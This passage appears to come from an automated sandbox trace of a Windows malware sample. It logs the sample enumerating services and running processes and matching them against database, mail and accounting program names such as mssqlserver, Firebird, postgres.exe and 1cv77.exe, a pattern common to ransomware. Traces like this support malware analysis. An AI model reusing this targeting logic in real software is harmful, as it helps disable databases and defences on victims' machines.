lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.171] lstrlenW (lpString="Netman") returned 6 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0218.171] lstrlenW (lpString="netprofm") returned 8 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.171] lstrlenW (lpString="NlaSvc") returned 6 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.171] lstrlenW (lpString="nsi") returned 3 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.172] lstrlenW (lpString="PcaSvc") returned 6 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.172] lstrlenW (lpString="PlugPlay") returned 8 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.172] lstrlenW (lpString="Power") returned 5 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.172] lstrlenW (lpString="ProfSvc") returned 7 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.172] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.172] lstrlenW (lpString="RpcSs") returned 5 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.172] lstrlenW (lpString="SamSs") returned 5 [0218.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.173] lstrlenW (lpString="Schedule") returned 8 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.173] lstrlenW (lpString="SENS") returned 4 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.173] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.173] lstrlenW (lpString="Spooler") returned 7 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.173] lstrlenW (lpString="sppsvc") returned 6 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0218.173] lstrlenW (lpString="swprv") returned 5 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0218.173] lstrlenW (lpString="SysMain") returned 7 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0218.173] lstrlenW (lpString="Themes") returned 6 [0218.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.174] lstrlenW (lpString="TrkWks") returned 6 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0218.174] lstrlenW (lpString="UxSms") returned 5 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0218.174] lstrlenW (lpString="VSS") returned 3 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0218.174] lstrlenW (lpString="WdiServiceHost") returned 14 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0218.174] lstrlenW (lpString="WdiSystemHost") returned 13 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0218.174] lstrlenW (lpString="WinDefend") returned 9 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0218.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0218.174] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0218.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0218.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0218.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0218.175] lstrlenW (lpString="Winmgmt") returned 7 [0218.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0218.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0218.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0218.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0218.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0218.175] lstrlenW (lpString="wscsvc") returned 6 [0218.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0218.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0218.175] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0218.175] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0218.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0218.175] lstrlenW (lpString="wuauserv") returned 8 [0218.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0218.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0218.175] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0218.175] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0218.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0218.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0218.176] Process32FirstW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.177] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.178] lstrlenW (lpString="System") returned 6 [0218.178] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0218.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0218.178] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0218.178] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0218.178] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.178] lstrlenW (lpString="smss.exe") returned 8 [0218.178] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.179] lstrlenW (lpString="csrss.exe") returned 9 [0218.179] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.179] lstrlenW (lpString="wininit.exe") returned 11 [0218.180] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.180] lstrlenW (lpString="csrss.exe") returned 9 [0218.180] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.181] lstrlenW (lpString="winlogon.exe") returned 12 [0218.181] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.181] lstrlenW (lpString="services.exe") returned 12 [0218.181] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.182] lstrlenW (lpString="lsass.exe") returned 9 [0218.182] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.183] lstrlenW (lpString="lsm.exe") returned 7 [0218.183] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.183] lstrlenW (lpString="svchost.exe") returned 11 [0218.183] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.184] lstrlenW (lpString="svchost.exe") returned 11 [0218.184] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.185] lstrlenW (lpString="svchost.exe") returned 11 [0218.185] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.185] lstrlenW (lpString="svchost.exe") returned 11 [0218.185] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.186] lstrlenW (lpString="svchost.exe") returned 11 [0218.186] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.186] lstrlenW (lpString="audiodg.exe") returned 11 [0218.187] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.187] lstrlenW (lpString="svchost.exe") returned 11 [0218.187] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.188] lstrlenW (lpString="svchost.exe") returned 11 [0218.188] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.188] lstrlenW (lpString="dwm.exe") returned 7 [0218.188] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.189] lstrlenW (lpString="explorer.exe") returned 12 [0218.189] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.190] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.190] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.190] lstrlenW (lpString="taskhost.exe") returned 12 [0218.190] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.191] lstrlenW (lpString="svchost.exe") returned 11 [0218.191] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0218.192] lstrlenW (lpString="taskeng.exe") returned 11 [0218.192] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0218.192] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0218.192] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0218.193] lstrlenW (lpString="nova.exe") returned 8 [0218.193] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0218.194] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0218.194] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0218.194] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0218.194] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0218.195] lstrlenW (lpString="picks blair.exe") returned 15 [0218.195] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0218.195] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0218.195] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0218.196] lstrlenW (lpString="principal.exe") returned 13 [0218.196] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0218.197] lstrlenW (lpString="transportation.exe") returned 18 [0218.197] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0218.197] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0218.197] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, 